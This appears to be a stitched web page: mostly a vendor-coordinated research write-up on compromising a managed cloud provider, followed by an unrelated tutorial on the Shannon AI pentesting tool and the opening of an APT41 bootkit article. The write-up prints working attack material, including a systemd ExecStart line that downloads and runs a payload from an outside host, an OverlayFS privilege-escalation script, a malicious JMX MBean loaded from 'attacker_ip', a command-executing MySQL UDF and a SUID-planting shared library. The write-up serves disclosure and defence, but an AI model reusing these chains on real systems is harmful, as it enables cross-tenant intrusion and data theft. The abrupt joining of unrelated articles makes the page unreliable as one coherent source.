Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
1.2. Analysis of control plane services
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics"
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
1.3. Exploiting Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
service AgentService {
rpc Connect(stream Packet) returns (stream Packet) {}
}The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26
enum PacketType {
DIAL_REQ = 0;
DIAL_RSP = 1;
...
}
message Packet {
PacketType type = 1;
oneof payload {
DialRequest dialRequest = 2;
DialResponse dialResponse = 3;
Data data = 4;
CloseRequest closeRequest = 5;
CloseResponse closeResponse = 6;
CloseDial closeDial = 7;
}
}
message DialRequest {
// tcp or udp?
string protocol = 1;
// node:port
string address = 2;
// random id for client, maybe should be longer
int64 random = 3;
}The server reads any Packet packets from the stream initiated by the agent (worker node):
//apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- in
Next, the packets go to the backend manager:
//apiserver-network-proxy/pkg/server/server.go:748
func (s *ProxyServer) serveRecvBackend(...) {
for pkt := range recvCh {
switch pkt.Type {Then comes the most interesting part:
//apiserver-network-proxy/pkg/server/server.go:888
case client.PacketType_DIAL_REQ:
req := pkt.GetDialRequest()
klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
s.handleDialRequest(pkt, backend)In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
...
dialReq := pkt.GetDialRequest()
resp.GetDialResponse().Random = dialReq.Random
start := time.Now()
conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and addressThis created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwareProperties
Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
busctl --address=unix:path=/tmp/master-dbus.sock \
call org.freedesktop.login1 \
/org/freedesktop/login1 \
org.freedesktop.login1.Manager \
SetUserLinger ubb 997 true falseThe following sockets were then opened:
/run/user/997/bus /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)
Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:
StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object path
The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:
ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"
As a result, we successfully received a callback from the control plane.
Mirantis, the company behind the k0s project, confirmed the vulnerability.
1.4. Privilege escalation on the host
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe
unshare -rm sh -c '
mkdir l u w m &&
cp /usr/bin/python3 l/ &&
chmod 755 l/python3 &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Gaining root privileges opened up several interesting attack vectors:
- We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
- The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
2. Adventures in the overlay network
2.1. Victoria stack
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
"discoveredLabels": {
"__address__": "http://100.64.1.1:6897/metrics",
"__meta_url": "CENSORED",
"__metrics_path__": "/metrics",
"__scheme__": "http",
"__scrape_interval__": "2m0s",
"__scrape_timeout__": "2m0s",
"cluster_id": "676767",
"customer": "customerID",
"job": "http",
"profile": "kubernetes",
"vds_id": "1337",
"version": "1.0"
}It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
2.2. Compromising managed Kafka instances
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to theJMX Registryand creates anMBeancomponent,javax.management.loading.MLet(a class that loads classes from a specified URL).JmxInvoke.java: invokes the selectedMBeanmethod through the JMX Registry.ExecMBean.javaandExec.javaa custom lightweight test MBean component with arun(String cmd)method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class JmxCreateMBean {
private static final class RewritingSocketFactory extends RMISocketFactory {
private final String fromHost;
private final String toHost;
RewritingSocketFactory(String fromHost, String toHost) {
...
}
@Override
public Socket createSocket(String host, int port) throws IOException {
...
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
...
}
}
public static void main(String[] args) throws Exception {
...
RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
var mbsc = connector.getMBeanServerConnection();
try {
ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
} catch (InstanceAlreadyExistsException e) {
System.out.println("EXISTS " + args[5]);
}
}
}
}Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
public class Exec implements ExecMBean {
@Override
public String run(String cmd) throws Exception {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
}
@Override
public String getB64(String path) throws Exception {
return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
}
@Override
public String putB64(String path, String b64) throws Exception {
byte[] data = Base64.getDecoder().decode(b64);
Files.write(Path.of(path), data);
return "wrote " + data.length + " bytes";
}
}After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
<html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html>
We then perform the following steps:
- Create a standard
MLetloader inside theKafka JVM. - Load the malicious
MBeanonto the target server by calling thegetMBeansFromURLmethod of the standardMLetcomponent (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html. - Call the
run(String cmd)method of the loadedMBeanto achieve RCE on the host.
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
2.3. Credential leakage through redis-exporter
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("target")
...
if !strings.Contains(target, "://") {
target = "redis://" + target
}
u, err := url.Parse(target)
...
opts := e.options
...
_, err = NewRedisExporter(target, opts)
...Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:
http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
2.4. Compromise of managed PostgreSQL (Patroni) clusters
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.
{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
"use_pg_rewind": true,
"parameters": {
"archive_command": "id",
"archive_mode": "always",
"max_connections": 550,
"max_locks_per_transaction": 512,
"max_worker_processes": 27
}
}
}Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:
Update the Patroni configuration with the modified archive_command:
curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq
Update the configuration again to add the standby_cluster parameter:
{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
"use_pg_rewind": true,
"parameters": {
"archive_command": "rce",
"archive_mode": "on",
"archive_timeout": "10",
"max_connections": 550,
"max_locks_per_transaction": 512,
"max_worker_processes": 27
}
},
"standby_cluster": {
"host": "192.0.2.1",
"port": 5432
}
}After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediate
Postgres then restarts, and the archiving process runs and executes the injected command:
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
This storage holds backups not only of the current instance but also of all other databases in the cloud.
3. Attack on SaltStack management infrastructure
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
3.1. Analysis of salt fs
The first step was to dump the entire Salt master file system for subsequent static analysis:
It contained numerous files.
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
mkdir -p "/tmp/dump/$(dirname "$f")"
salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
doneBecause the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
sql = query.format(
minion_id=minion_id,
pillar={**pillar, **results},
grains=__grains__,
)
loaded_items = db_connections[db_alias].load_object_list(sql)A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
3.2. Exploiting the SQLi
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.
4. Other ways to attack the cloud
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
4.1. Exploiting a vulnerability in Managed Valkey
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-server
The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resources
These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
4.2. MySQL
The MySQL database user didn’t have root privileges when the resource was created.
DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
DROP TABLE IF EXISTS mysql.user;
CREATE TABLE mysql.user (
Host char(255) NOT NULL DEFAULT '%',
User char(32) NOT NULL DEFAULT '',
Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
ssl_cipher blob NOT NULL,
x509_issuer blob NOT NULL,
x509_subject blob NOT NULL,
max_questions int unsigned NOT NULL DEFAULT 0,
max_updates int unsigned NOT NULL DEFAULT 0,
max_connections int unsigned NOT NULL DEFAULT 0,
max_user_connections int unsigned NOT NULL DEFAULT 0,
plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
authentication_string text,
password_expired enum('N','Y') NOT NULL DEFAULT 'N',
password_last_changed timestamp NULL DEFAULT NULL,
password_lifetime smallint unsigned DEFAULT NULL,
account_locked enum('N','Y') NOT NULL DEFAULT 'N',
Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Password_reuse_history smallint unsigned DEFAULT NULL,
Password_reuse_time smallint unsigned DEFAULT NULL,
Password_require_current enum('N','Y') DEFAULT NULL,
User_attributes json DEFAULT NULL,
PRIMARY KEY (Host, User)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef unsigned long long udf_args_type;
typedef struct {
unsigned int arg_count;
unsigned int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
typedef struct {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
void *extension;
} UDF_INIT;
int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_eval requires one argument");
return 1;
}
initid->max_length = 65535;
return 0;
}
void sys_eval_deinit(UDF_INIT *initid) {}
char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error) {
if (!args->args[0]) { *is_null = 1; return NULL; }
char cmd[65535];
snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
FILE *pipe = popen(cmd, "r");
if (!pipe) { *is_null = 1; return NULL; }
static char buf[65535];
size_t total = 0;
while (total < sizeof(buf)-1) {
size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
if (n == 0) break;
total += n;
}
pclose(pipe);
buf[total] = '\0';
*length = total;
return buf;
}RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
curl -s -X PATCH "https://somecloud/api/dbaas/id" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'This vector made it possible to inject line breaks and override critical configuration parameters:
default-time-zone="+00:00 secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access. plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.
With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.soWe restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
Conclusion
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.




Maigret – OSINT Username Search Tool
Artificial Intelligence (AI) in Cybersecurity, Part 30: Shannon – AI Pentester for Web Apps and APIs
Welcome back, aspiring cyberwarriors!
We’re continuing our series on Artificial Intelligence in Cybersecurity with another tool called Shannon. Shannon is a white-box AI pentester. It was created to test the security of your project by pointing it at the source code and the test stand. That means it needs both the running application and the source code. First, Shannon does an in-depth analysis of the code in the repository, then looks for attacks against that same project you’re hosting locally. This white-box approach is certainly more effective, as models don’t have to guess possible vulnerabilities, since guessing varies greatly depending on the model you use. Vulnerabilities can only make their way to the report if they have a working PoC. As always, only test systems you own or have explicit written authorization to test.
Now let’s take a closer look at Shannon and test our Juice Shop with it.
Setting Up
Juice Shop is just a Docker container, so we will install Docker and npm first.
kali > sudo apt update
kali > sudo apt install -y docker.io nodejs npm
kali > sudo systemctl enable docker --now
kali > sudo usermod -aG docker $USER
kali > newgrp docker
Then comes the Juice Shop.
kali > docker pull bkimminich/juice-shop
kali > docker run -d --name juice-shop --restart unless-stopped -p 3000:3000 bkimminich/juice-shop

It’s up and running. Now we need to copy the repository to our disk.
kali > git clone --depth 1 https://github.com/juice-shop/juice-shop.git

Once we have it all set, we can get Shannon. Unlike Pentestcode and other tools, Shannon runs differently. By default, it expects your AI API keys in the env. In the next sections we’ll show how to run Shannon with OpenRouter and Ollama.
OpenRouter
Shannon wants to see your API key in the env. You will also need a models.json file somewhere on your disk. Copy the following command to create it.
cat > ~/models.json << 'EOF'
{
"providers": {
"openrouter": {
"apiKey": "YOUR_API_KEY",
"models": [
{
"id": "nvidia/nemotron-3.5-lightning:free",
"name": "NVIDIA Nemotron 3.5 Lightning (free)",
"reasoning": true,
"input": ["text"],
"thinkingLevelMap": {
"off": null,
"minimal": null,
"low": "low",
"medium": null,
"high": "high",
"xhigh": null,
"max": "max"
},
"contextWindow": 262144,
"maxTokens": 65536,
"cost": {
"input": 0,
"output": 0,
"cacheRead": 0,
"cacheWrite": 0
},
"compat": {
"supportsDeveloperRole": false,
"thinkingFormat": "openrouter"
}
}
],
"api": "openai-completions",
"baseUrl": "https://openrouter.ai/api/v1"
}
}
}
EOF
Then pass the keys and validate the setup.
kali > export SHANNON_AI_API_KEY="sk-or-v1-YOUR_KEY"
kali > export SHANNON_AI_MODEL="openrouter:nvidia/nemotron-3.5-lightning:free"
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop --validate-model

If you see it’s validated, then you can run a full security analysis.
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow

This will take a while and your free daily tokens won’t be enough to complete the scan.

As the security test progresses, you’ll see all the commands and prompts it runs. Obviously, the frontier models will give better results.
Ollama
Shannon isn’t only limited to APIs. You can perform the same scan with a local model. Many openweight models will be a great fit for it if you have the necessary hardware to make it work smoothly.
Just for the demonstration we’ll use Qwen 2.5-coder 7b.
kali > curl -fsSL https://ollama.com/install.sh | sh
kali > ollama pull qwen2.5-coder:7b

We’ll create the same models.json file to point Shannon to our Ollama.
{
"providers": {
"ollama": {
"baseUrl": "http://127.0.0.1:11434/v1",
"api": "openai-completions",
"apiKey": "ollama",
"models": [
{
"id": "qwen2.5-coder:7b",
"name": "Qwen 2.5 Coder 7B",
"input": ["text"],
"contextWindow": 32768,
"maxTokens": 8192,
"cost": { "input": 0, "output": 0 },
"compat": {
"supportsDeveloperRole": false,
"supportsReasoningEffort": false
}
}
]
}
}
}
Make sure your Ollama is accessible, and change the IP address if needed.
kali > export SHANNON_AI_API_KEY=ollama
kali > export SHANNON_AI_MODEL=ollama:qwen2.5-coder:7b
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --validate-model
Before we do anything, let’s validate the model.

If your model has been validated and you can start scanning your project.
kali > kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow
Reporting
When the scan finishes, Shannon creates PDF and Markdown reports with the evidence attached to them. You will also see structured JSON and SARIF files for downstream systems.
Below is an example of a PDF report. As you can see, multiple vulnerabilities were found in the project, some of them are classified as High. As mentioned before, all the findings here were validated with PoCs.

Summary
Shannon was made to find flaws in your web apps to make them more secure. It digs through the project repository and runs checks against a live system. It then creates a report with findings that were discovered with PoCs, so you get a clean report. As AI becomes more prevalent in cybersecurity, it should be used to improve the security of your projects before their release. Of course, that doesn’t replace a human in the loop, but it makes things faster. Stick to better models and don’t cut back on your security.
AI is evolving rapidly and the sooner you learn how to work with it, the greater the advantage you’ll have. That’s why we invite you to join our AI for Cybersecurity training. During this training, you will see you different ways of using AI in cybersecurity, set up local models and solve labs.
The post Artificial Intelligence (AI) in Cybersecurity, Part 30: Shannon – AI Pentester for Web Apps and APIs first appeared on Hackers Arise.
MythicRatatoskr: An Yggdrasil-enabled backdoor deployed in a UAC-0099-Sandworm collaboration
How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

Introduction
Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.
